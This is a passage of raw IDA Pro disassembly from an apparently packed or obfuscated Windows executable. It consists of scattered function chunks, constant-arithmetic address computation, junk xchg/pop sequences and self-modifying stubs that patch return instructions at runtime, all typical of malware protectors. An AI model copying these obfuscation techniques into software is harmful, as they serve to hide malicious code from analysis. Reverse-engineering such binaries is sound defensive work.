loc_44A2D9:				; CODE XREF: sub_43741E+12F52j
		sub	al, 99h
		mov	edx, [ebp+var_4]
		imul	byte ptr [edx]
		jmp	loc_44C3C5
; END OF FUNCTION CHUNK	FOR sub_43741E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_44A2E5:				; CODE XREF: sub_43C55C:loc_43CCAAj
		push	eax
		push	offset loc_43D469
		jmp	nullsub_167
; END OF FUNCTION CHUNK	FOR sub_43C55C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4407E7

loc_44A2F0:				; CODE XREF: sub_4407E7:loc_4417EBj
		jnz	loc_4452E2
		jmp	loc_43B60F
; END OF FUNCTION CHUNK	FOR sub_4407E7
; ---------------------------------------------------------------------------
		db 85h
		dd 0D72AE9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_44A302:				; DATA XREF: kgbikm34:0043C65Eo
		or	edx, edx
		jnz	loc_4464DC
		jmp	loc_446955
; ---------------------------------------------------------------------------

loc_44A30F:				; DATA XREF: sub_439852+B4Eo
		push	eax
		push	0BAB89035h
		pop	eax
		or	eax, 0FF5AD9F6h
		and	eax, ds:4000F3h
		jmp	loc_443303
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F79

loc_44A327:				; CODE XREF: sub_446F79:loc_437725j
		jz	loc_443A48
		jmp	loc_443289
; END OF FUNCTION CHUNK	FOR sub_446F79

; =============== S U B	R O U T	I N E =======================================



sub_44A332	proc near		; CODE XREF: kgbikm34:004470F1j
					; sub_438B6B+115BEp
		xchg	eax, [esp+0]
		pop	eax
		lea	eax, nullsub_4
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_4
sub_44A332	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44A344:				; CODE XREF: kgbikm34:0043A1C1j
		mov	eax, [esp]
		jmp	loc_4457EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_44A34C:				; CODE XREF: sub_439587+143FAj
		or	ebp, esi
		pop	ebp
		xchg	esi, ecx
		jmp	loc_43D734
; END OF FUNCTION CHUNK	FOR sub_439587

; =============== S U B	R O U T	I N E =======================================



sub_44A356	proc near		; CODE XREF: kgbikm34:00439F3Aj
					; sub_44D600+5p

; FUNCTION CHUNK AT 0043B2AF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004482E4 SIZE 00000017 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	6D982D4Ah
		pop	eax
		jmp	loc_43B2AF
sub_44A356	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43741E

loc_44A365:				; CODE XREF: sub_43741E+6j
		xchg	eax, [esp+4+var_4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		jnz	loc_44A2D9
		sub	al, 99h
		jmp	loc_4374BD
; END OF FUNCTION CHUNK	FOR sub_43741E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440F62

loc_44A37D:				; CODE XREF: sub_440F62-117Ej
					; sub_440F62:loc_449A98j
		push	eax
		lea	eax, dword_4400BC
		push	eax
		push	eax
		jmp	loc_43B202
; END OF FUNCTION CHUNK	FOR sub_440F62

; =============== S U B	R O U T	I N E =======================================



sub_44A38B	proc near		; CODE XREF: sub_43FD1A-45C9j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004399EC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043E5EE SIZE 0000001A BYTES

		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp+4+var_4]
		mov	edx, eax
		jmp	loc_4399EC
sub_44A38B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_44A398:				; CODE XREF: sub_439587-70Fj
		jbe	loc_43C336

loc_44A39E:				; CODE XREF: sub_439587:loc_441A02j
		push	offset sub_448699
		jmp	loc_449B18
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A5E

loc_44A3A8:				; CODE XREF: sub_445A5E:loc_4372CDj
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		jnz	loc_44A143
		call	sub_44114F

loc_44A3B8:				; CODE XREF: sub_447E9A+F6Cj
		jmp	loc_446DE8
; END OF FUNCTION CHUNK	FOR sub_445A5E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_191. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44262A

loc_44A3BE:				; CODE XREF: sub_44262A+9180j
		jmp	loc_439FEC
; END OF FUNCTION CHUNK	FOR sub_44262A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_44A3C3:				; CODE XREF: sub_43D494+7340j
		jmp	loc_449054
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B89E

loc_44A3C8:				; CODE XREF: sub_43B89E-2537j
					; kgbikm34:loc_440AA2j
		jmp	loc_44D90C
; END OF FUNCTION CHUNK	FOR sub_43B89E
; ---------------------------------------------------------------------------

loc_44A3CD:				; CODE XREF: kgbikm34:0044347Fj
		call	sub_43BF6F
		push	ecx
		push	271F58Ch
		pop	ecx
		xor	ecx, 6B8FDC8Dh
		or	ecx, 0CDAC8B3h
		jmp	loc_447BFE
; ---------------------------------------------------------------------------
		mov	eax, 205AA81Dh
		push	ebx
		mov	ebx, esi
		xchg	ebx, [esp]
		push	0B6F55FB8h
		pop	esi
		or	esi, 5A841773h
		jmp	loc_43C15D

; =============== S U B	R O U T	I N E =======================================



sub_44A406	proc near		; CODE XREF: kgbikm34:loc_44AE32p
					; kgbikm34:0044B914j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00438426 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B045 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B18A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004461A3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D6A2 SIZE 00000011 BYTES

		xchg	edx, [esp+0]
		pop	edx
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44D6A7
		jmp	loc_4461A3
sub_44A406	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_44A418:				; CODE XREF: sub_43C55C+Aj
		push	edx
		push	ecx
		push	226A85F1h
		pop	ecx
		add	ecx, 0A4A3F30Ch
		jmp	loc_43DA5B
; END OF FUNCTION CHUNK	FOR sub_43C55C
; ---------------------------------------------------------------------------

loc_44A42B:				; CODE XREF: kgbikm34:loc_443EFFj
		pop	ecx
		rol	ecx, 17h
		and	ecx, 697222EEh
		test	ecx, 4000h
		jmp	loc_441E67
; ---------------------------------------------------------------------------

loc_44A440:				; CODE XREF: kgbikm34:00445AEEj
		pop	edx
		xor	esi, 99F05918h
		and	esi, ds:4000F3h
		xor	esi, 0AC238C4Eh
		add	esi, 78191A14h
		jmp	loc_43A209
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447E85

loc_44A45E:				; CODE XREF: sub_447E85-5142j
		mov	ecx, [ebp+0]
		cmp	edx, edi
		jmp	loc_43781B
; END OF FUNCTION CHUNK	FOR sub_447E85
; ---------------------------------------------------------------------------
		ror	ebx, 7
		jmp	loc_43717D
; ---------------------------------------------------------------------------

loc_44A470:				; CODE XREF: kgbikm34:004470A5j
		sub	esi, 3CE73CEDh

; =============== S U B	R O U T	I N E =======================================



sub_44A476	proc near		; CODE XREF: kgbikm34:0044D066p

; FUNCTION CHUNK AT 0044308E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044731F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B75F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044D75F SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	eax, ds:dword_44DF28
		jmp	loc_44308E
sub_44A476	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F5F7

loc_44A485:				; CODE XREF: sub_43F5F7:loc_44D5DBj
		mov	[ebp-28h], eax
; END OF FUNCTION CHUNK	FOR sub_43F5F7
; START	OF FUNCTION CHUNK FOR sub_43FD63

loc_44A488:				; CODE XREF: sub_43FD63-2634j
		call	sub_43DFA4
; END OF FUNCTION CHUNK	FOR sub_43FD63
; START	OF FUNCTION CHUNK FOR sub_43A6C7

loc_44A48D:				; CODE XREF: sub_43A6C7:loc_444349j
		jz	loc_43AF0E
		jmp	loc_44BDA4
; END OF FUNCTION CHUNK	FOR sub_43A6C7
; ---------------------------------------------------------------------------

loc_44A498:				; CODE XREF: kgbikm34:0044BD39j
		sub	ebx, 183D711Eh
		add	ebx, 288244E1h
		xchg	ebx, [esp]
		jmp	loc_43F002
; ---------------------------------------------------------------------------

loc_44A4AC:				; CODE XREF: kgbikm34:00437222j
		cmp	edx, 947CBD88h
		jmp	loc_43E50D
; ---------------------------------------------------------------------------

loc_44A4B7:				; CODE XREF: kgbikm34:loc_43D215j
		cmp	al, 0A4h
		jz	loc_43FA38
		jmp	loc_43ED4B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4478CD

loc_44A4C4:				; CODE XREF: sub_4478CD:loc_43AEE9j
		or	ebx, 0F60253CAh
		add	ebx, 0D8F35984h
		cmp	ebx, 809E7627h

loc_44A4D6:				; CODE XREF: kgbikm34:0044E245j
		jmp	loc_4465F0
; END OF FUNCTION CHUNK	FOR sub_4478CD

; =============== S U B	R O U T	I N E =======================================



sub_44A4DB	proc near		; DATA XREF: sub_43C638+D341o
		xor	eax, eax
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		push	offset sub_44A54C
		jmp	nullsub_323
sub_44A4DB	endp

; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	edx
		call	sub_43A4A3
		mov	eax, 0F75CA70h
		call	sub_43BF6F
		push	edi
		push	0E134ACFDh
		jmp	loc_448381
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A22B

loc_44A50D:				; CODE XREF: sub_43A22B+Bj
		and	ecx, 76B0841Ch
		xor	ecx, 0F20A7E0Ah
		sub	ecx, 9216C774h
		or	ecx, 310F3729h
		add	ecx, (offset loc_43F0DE+3)
		mov	[ecx], eax
		jmp	loc_446A3F
; END OF FUNCTION CHUNK	FOR sub_43A22B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B68D

loc_44A532:				; CODE XREF: sub_44B68D:loc_43D2BCj
		push	575A8E25h
		pop	esi
		xor	esi, 26BA6FC8h
		add	esi, 8E6335D9h
		xchg	esi, [esp+4+var_4]
		jmp	loc_4417D6
; END OF FUNCTION CHUNK	FOR sub_44B68D

; =============== S U B	R O U T	I N E =======================================



sub_44A54C	proc near		; DATA XREF: sub_44A4DB+9o
		jz	loc_4481A1
		mov	eax, [ebp-4]
		call	sub_446D82
sub_44A54C	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4400D1

loc_44A55A:				; CODE XREF: sub_4400D1+BBAAj
		jmp	nullsub_186
; END OF FUNCTION CHUNK	FOR sub_4400D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448AC9

loc_44A55F:				; CODE XREF: sub_448AC9-2E7j
		jmp	nullsub_193
; END OF FUNCTION CHUNK	FOR sub_448AC9
; ---------------------------------------------------------------------------
		mov	eax, 0DD5E106Fh
		call	sub_43BF6F
		mov	ds:off_41E104, eax
		lea	eax, sub_44D8F8
		mov	byte ptr [eax],	0C3h
		jmp	sub_44D8F8
; ---------------------------------------------------------------------------
		call	nullsub_276
		jmp	ds:dword_41E108
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44649E

loc_44A58D:				; CODE XREF: sub_44649E+58D8j
		jmp	loc_44A931
; END OF FUNCTION CHUNK	FOR sub_44649E
; ---------------------------------------------------------------------------
		sub	eax, 4AF65EFDh
		jz	loc_449EE2
		jmp	sub_444A81
; ---------------------------------------------------------------------------

loc_44A5A3:				; CODE XREF: kgbikm34:0044C3C0j
		sub	ebp, esi
		mov	[ebx], edi
		mov	edi, [ecx]
; START	OF FUNCTION CHUNK FOR sub_44B6E1

loc_44A5A9:				; CODE XREF: sub_44B6E1:loc_44C3A5j
		and	edi, 12777D84h
		add	edi, 97756674h
		jnb	loc_43A114
		cmp	eax, 14ECB5Ah
		jmp	loc_444018
; END OF FUNCTION CHUNK	FOR sub_44B6E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440380

loc_44A5C6:				; CODE XREF: sub_440380:loc_441012j
		mov	ds:dword_41E0A0, eax
		lea	eax, nullsub_197
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_197
; END OF FUNCTION CHUNK	FOR sub_440380

; =============== S U B	R O U T	I N E =======================================



sub_44A5DA	proc near		; CODE XREF: sub_409EBD+27Fp
					; sub_409EBD+29Fp ...
		call	sub_44DA2B
		jmp	ds:off_41E0A4
sub_44A5DA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4394B6

loc_44A5E5:				; CODE XREF: sub_4394B6+F9AFj
		jmp	sub_43F3F8
; END OF FUNCTION CHUNK	FOR sub_4394B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_44A5EA:				; CODE XREF: sub_44B20C-AB25j
		jmp	loc_43E57C
; END OF FUNCTION CHUNK	FOR sub_44B20C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A5E

loc_44A5EF:				; CODE XREF: sub_444A5E-D9DEj
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44BB0D
		jmp	loc_44D1F6
; END OF FUNCTION CHUNK	FOR sub_444A5E
; ---------------------------------------------------------------------------

loc_44A5FF:				; CODE XREF: kgbikm34:0044763Fj
		xor	edi, 8EADCE79h
		add	edi, 3183F900h
		mov	[edi], eax
		pop	edi
		lea	eax, loc_4449F9
		jmp	loc_44AD44
; ---------------------------------------------------------------------------

loc_44A619:				; DATA XREF: sub_444892+8o
		push	8FF08EA8h
		xchg	eax, [esp]
		mov	esi, eax
		pop	eax
		add	esi, 6F1173DCh
		jmp	loc_449397
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A80D

loc_44A62F:				; CODE XREF: sub_44A80D+CD0j
		push	edx
		call	sub_443DF0
		mov	eax, 0D372DA5Dh
		call	sub_43BF6F
		push	esi
		jmp	loc_44D7C1
; END OF FUNCTION CHUNK	FOR sub_44A80D
; ---------------------------------------------------------------------------
		sub	ecx, ebx
		jmp	sub_43F200

; =============== S U B	R O U T	I N E =======================================



sub_44A64C	proc near		; CODE XREF: kgbikm34:0043D796j
					; sub_4431B6+7E1Dp
		xchg	ebx, [esp+0]
		pop	ebx
		xor	eax, edi
		pop	edi
		push	ecx
		mov	ecx, esi
		jmp	loc_4439C5
sub_44A64C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_44A65B:				; CODE XREF: sub_439BDE:loc_4480BDj
		push	edi
		mov	edi, eax
		xchg	edi, [esp+0]
		push	0
		jmp	loc_43852A
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447B31

loc_44A668:				; CODE XREF: sub_447B31:loc_441661j
		add	eax, 739B1023h
		add	eax, ebp
		add	eax, 8CF5F9FAh
		push	offset loc_445EE6
		jmp	loc_447AE7
; END OF FUNCTION CHUNK	FOR sub_447B31

; =============== S U B	R O U T	I N E =======================================



sub_44A680	proc near		; DATA XREF: sub_43DBBA:loc_44853Co

; FUNCTION CHUNK AT 00444566 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044843B SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0044AF29 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D088 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044D32F SIZE 00000005 BYTES

		push	ebp
		push	esi
		push	edi
		push	ebx
		push	ecx
		jmp	loc_44AF29
sub_44A680	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EAEE

loc_44A68A:				; CODE XREF: sub_43EAEE-816j
		jz	loc_446A01

loc_44A690:				; CODE XREF: kgbikm34:00444DAFj
		jmp	loc_437012
; END OF FUNCTION CHUNK	FOR sub_43EAEE
; ---------------------------------------------------------------------------
		popf
		jle	loc_44103C
		jmp	loc_446A01
; ---------------------------------------------------------------------------

loc_44A6A1:				; CODE XREF: kgbikm34:0044587Fj
		js	loc_444FE4

; =============== S U B	R O U T	I N E =======================================



sub_44A6A7	proc near		; CODE XREF: kgbikm34:00446DC4p

; FUNCTION CHUNK AT 0044CD44 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0044D932 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi

loc_44A6AB:				; CODE XREF: kgbikm34:0044CEFDj
		push	2634131h
		jmp	loc_44D932
sub_44A6A7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44A6B5:				; DATA XREF: sub_43D494:loc_43A093o
		mov	[ebp-20h], eax
; START	OF FUNCTION CHUNK FOR sub_441086

loc_44A6B8:				; CODE XREF: sub_441086+5AEAj
					; sub_441086+60F9j
		mov	eax, [ebp-20h]
		sub	eax, [ebp-28h]
		mov	[ebp-24h], eax
		mov	eax, [ebp-24h]
		mov	esp, ebp
		jmp	loc_448D1F
; END OF FUNCTION CHUNK	FOR sub_441086
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438DDF

loc_44A6CB:				; CODE XREF: sub_438DDF+Bj
		cmp	eax, 7C61090Eh
		retn
; END OF FUNCTION CHUNK	FOR sub_438DDF

; =============== S U B	R O U T	I N E =======================================



sub_44A6D1	proc near		; CODE XREF: kgbikm34:loc_4373CAp
					; sub_444A5E+4p ...

; FUNCTION CHUNK AT 0044C878 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044CC85 SIZE 0000001B BYTES

		xor	bx, bx
		add	ebx, 10000h
		jmp	loc_44CC85
sub_44A6D1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC9A

loc_44A6DF:				; CODE XREF: sub_43DC9A:loc_443C2Ej
		call	sub_448EA4
		call	sub_445001

locret_44A6E9:				; CODE XREF: kgbikm34:0044E056j
		retn
; END OF FUNCTION CHUNK	FOR sub_43DC9A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439274

loc_44A6EA:				; CODE XREF: sub_439274+C31Cj
		jmp	loc_449B3F
; ---------------------------------------------------------------------------

loc_44A6EF:				; CODE XREF: sub_439274+8CE2j
		jmp	loc_44557C
; END OF FUNCTION CHUNK	FOR sub_439274
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_135. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4C0

loc_44A6F5:				; CODE XREF: sub_43E4C0+AA04j
		jmp	sub_44B269
; END OF FUNCTION CHUNK	FOR sub_43E4C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_44A6FA:				; CODE XREF: sub_449F77-7C4Bj
		call	sub_43DC42

loc_44A6FF:				; CODE XREF: sub_4395AC+Aj
		jmp	loc_4455E3
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------
		mov	eax, 934299CDh
		call	sub_43BF6F
		mov	ds:dword_41E05C, eax
		lea	eax, nullsub_369
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_369
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_44A722:				; CODE XREF: sub_439587:loc_444EB0j
		mov	eax, [esp+4+var_4]
		push	edx
		jmp	loc_449B6D
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BB9F

loc_44A72B:				; CODE XREF: sub_44BB9F:loc_448C84j
		push	edx
		call	sub_43EB8F
		push	0DBC2F7D6h
		pop	eax
		jmp	loc_443F4B
; END OF FUNCTION CHUNK	FOR sub_44BB9F
; ---------------------------------------------------------------------------

loc_44A73C:				; CODE XREF: kgbikm34:loc_4469F7j
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_43B37E
		jmp	loc_4448D7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_256. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44A74E:				; CODE XREF: kgbikm34:00444301j
		jmp	locret_4446B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ABF4

loc_44A753:				; CODE XREF: kgbikm34:loc_43E205j
					; sub_43ABF4+86B2j
		jmp	nullsub_143
; END OF FUNCTION CHUNK	FOR sub_43ABF4
; ---------------------------------------------------------------------------

loc_44A758:				; CODE XREF: kgbikm34:loc_43840Bj
		add	ecx, 1057D696h
		xchg	ecx, [esp]
		jmp	loc_4457E2
; ---------------------------------------------------------------------------

loc_44A766:				; CODE XREF: kgbikm34:00449935j
		sbb	ecx, esi
		sub	ebp, 0A881F1C1h
; START	OF FUNCTION CHUNK FOR sub_43E4C0

loc_44A76E:				; CODE XREF: sub_43E4C0:loc_44991Fj
		and	esi, 94C437F0h
		add	esi, 0EFFDCA58h
		mov	[esi], eax
		pop	esi
		lea	eax, nullsub_21
		mov	byte ptr [eax],	0C3h
		jmp	loc_442671
; END OF FUNCTION CHUNK	FOR sub_43E4C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439624

loc_44A78B:				; CODE XREF: sub_439624+Dj
		jz	loc_4424B6
		jmp	loc_441EEC
; END OF FUNCTION CHUNK	FOR sub_439624

; =============== S U B	R O U T	I N E =======================================



sub_44A796	proc near		; DATA XREF: kgbikm34:0044BF88o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439417 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004418A6 SIZE 00000005 BYTES

		push	edi
		pushf
		push	0B54D528Dh
		pop	edi
		add	edi, ds:4000F9h
		xor	edi, 0D7CC2293h
		jmp	loc_439417
sub_44A796	endp


; =============== S U B	R O U T	I N E =======================================



sub_44A7AF	proc near		; DATA XREF: kgbikm34:004475B9o

; FUNCTION CHUNK AT 004430B3 SIZE 00000005 BYTES

		ror	eax, 4
		xor	eax, 7DFE23Fh
		push	ecx
		push	offset loc_43D532
		jmp	loc_4430B3
sub_44A7AF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E6EF

loc_44A7C3:				; CODE XREF: sub_43E6EF+Aj
		pop	edx
		or	edx, 75A549FBh
		rol	edx, 0Ch
		and	edx, ds:4000F5h
		add	edx, 0C1AA55Dh
		jmp	loc_4491B2
; END OF FUNCTION CHUNK	FOR sub_43E6EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440380

loc_44A7DE:				; CODE XREF: sub_440380+2ECFj
		jnz	loc_43B5C9
		jmp	loc_444388
; END OF FUNCTION CHUNK	FOR sub_440380
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_174. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_238. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B47A

loc_44A7EB:				; CODE XREF: sub_44B47A-D756j
		jmp	loc_43BB91
; END OF FUNCTION CHUNK	FOR sub_44B47A
; ---------------------------------------------------------------------------
		push	2B0902CCh
; START	OF FUNCTION CHUNK FOR sub_44D9CE

loc_44A7F5:				; CODE XREF: sub_44D9CE:loc_44DD7Fj
		jmp	sub_446B23
; END OF FUNCTION CHUNK	FOR sub_44D9CE

; =============== S U B	R O U T	I N E =======================================



sub_44A7FA	proc near		; CODE XREF: sub_444A5E-2F11p
					; kgbikm34:004428C0j

; FUNCTION CHUNK AT 0044962A SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		pop	esi

loc_44A7FF:				; CODE XREF: kgbikm34:loc_43B024j
		lea	eax, nullsub_17
		mov	byte ptr [eax],	0C3h
		jmp	loc_44962A
sub_44A7FA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44A80D	proc near		; CODE XREF: sub_40EF25+27p
					; kgbikm34:0044B4BEj
					; DATA XREF: ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043718A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438D6C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043E4F6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004405E1 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044222D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00443FF1 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00444309 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004451DF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00447DBB SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00448718 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00448EE6 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044A62F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044A8BD SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0044B4CE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044D265 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044D5C4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D7C1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DA69 SIZE 0000000E BYTES

		push	ecx
		push	305E2D1Dh
		jmp	loc_448EE6
sub_44A80D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44647B

loc_44A818:				; CODE XREF: sub_44647B:loc_439188j
		js	loc_43B747
		sub	ebx, 9F3199BBh
		or	edi, edx
		jmp	loc_440086
; END OF FUNCTION CHUNK	FOR sub_44647B
; ---------------------------------------------------------------------------

loc_44A82B:				; CODE XREF: kgbikm34:0043DB34j
		sub	ecx, 0E05C4872h
		jmp	loc_437232
; ---------------------------------------------------------------------------

loc_44A836:				; CODE XREF: kgbikm34:loc_44C8DCj
					; kgbikm34:0044C8F2j
		add	edx, 9A314CD1h
		xchg	edx, [esp]
		jmp	loc_44823D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_44A844:				; CODE XREF: sub_43C2DA:loc_43B209j
		call	sub_440F99

loc_44A849:				; CODE XREF: sub_439609+12D65j
		jmp	loc_4384F9
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447B31

loc_44A84E:				; CODE XREF: sub_447B31-C800j
		jmp	loc_444DEB
; END OF FUNCTION CHUNK	FOR sub_447B31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DC12

loc_44A853:				; CODE XREF: sub_44DC12-12D80j
		jmp	loc_44981E
; END OF FUNCTION CHUNK	FOR sub_44DC12
; ---------------------------------------------------------------------------

loc_44A858:				; CODE XREF: kgbikm34:0043A7A5j
		xchg	edx, [esp]
		mov	ebx, edx
		pop	edx
		xor	ebx, 1020CF38h
		add	ebx, 0EB5C84C6h
		mov	[ebx], eax
		pop	ebx
		jmp	loc_44D148
; ---------------------------------------------------------------------------

loc_44A872:				; DATA XREF: sub_443681+9431o
		pop	eax
		lea	eax, loc_44C338
		mov	byte ptr [eax],	0C3h
		jmp	loc_44C338
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443681

loc_44A881:				; CODE XREF: sub_443681+8CB8j
		mov	eax, [esp+0]
		jmp	loc_44A18C
; END OF FUNCTION CHUNK	FOR sub_443681
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4390CF

loc_44A889:				; CODE XREF: sub_4390CF:loc_4400E6j
		jge	loc_43EF74
; END OF FUNCTION CHUNK	FOR sub_4390CF
; START	OF FUNCTION CHUNK FOR sub_43D019

loc_44A88F:				; CODE XREF: sub_43D019+Dj
		jmp	loc_43A073
; END OF FUNCTION CHUNK	FOR sub_43D019
; ---------------------------------------------------------------------------
		xchg	edi, [ebp+0]
		pushf
		mov	ecx, [edi]
		jmp	loc_44926E

; =============== S U B	R O U T	I N E =======================================



sub_44A89F	proc near		; CODE XREF: sub_43DC9A+987Ep
					; kgbikm34:0044AAEEj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00441BCA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00446C59 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xor	edx, edx
		push	edx
		push	eax
		jmp	loc_446C59
sub_44A89F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446D60

loc_44A8AC:				; CODE XREF: sub_446D60+1Dj
		mov	[edi], eax
		pop	edi
		lea	eax, loc_446DA8
		mov	byte ptr [eax],	0C3h
		jmp	loc_44B531
; END OF FUNCTION CHUNK	FOR sub_446D60
; ---------------------------------------------------------------------------
